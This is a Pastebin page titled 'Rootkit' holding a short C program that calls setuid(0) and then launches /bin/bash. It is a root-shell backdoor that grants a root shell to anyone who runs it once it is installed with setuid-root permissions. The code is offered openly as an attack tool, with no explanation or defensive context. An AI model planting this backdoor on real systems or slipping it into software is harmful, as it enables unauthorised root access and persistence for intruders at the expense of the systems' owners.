Advertisement
yonata21

Rootkit

Apr 12th, 2018
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.20 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5.  
  6. int main() {
  7.     if (setuid(0)) {
  8.        perror("setuid");
  9.        return 1;
  10.     }
  11.  
  12.     system("/bin/bash");
  13.     return 0;
  14. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement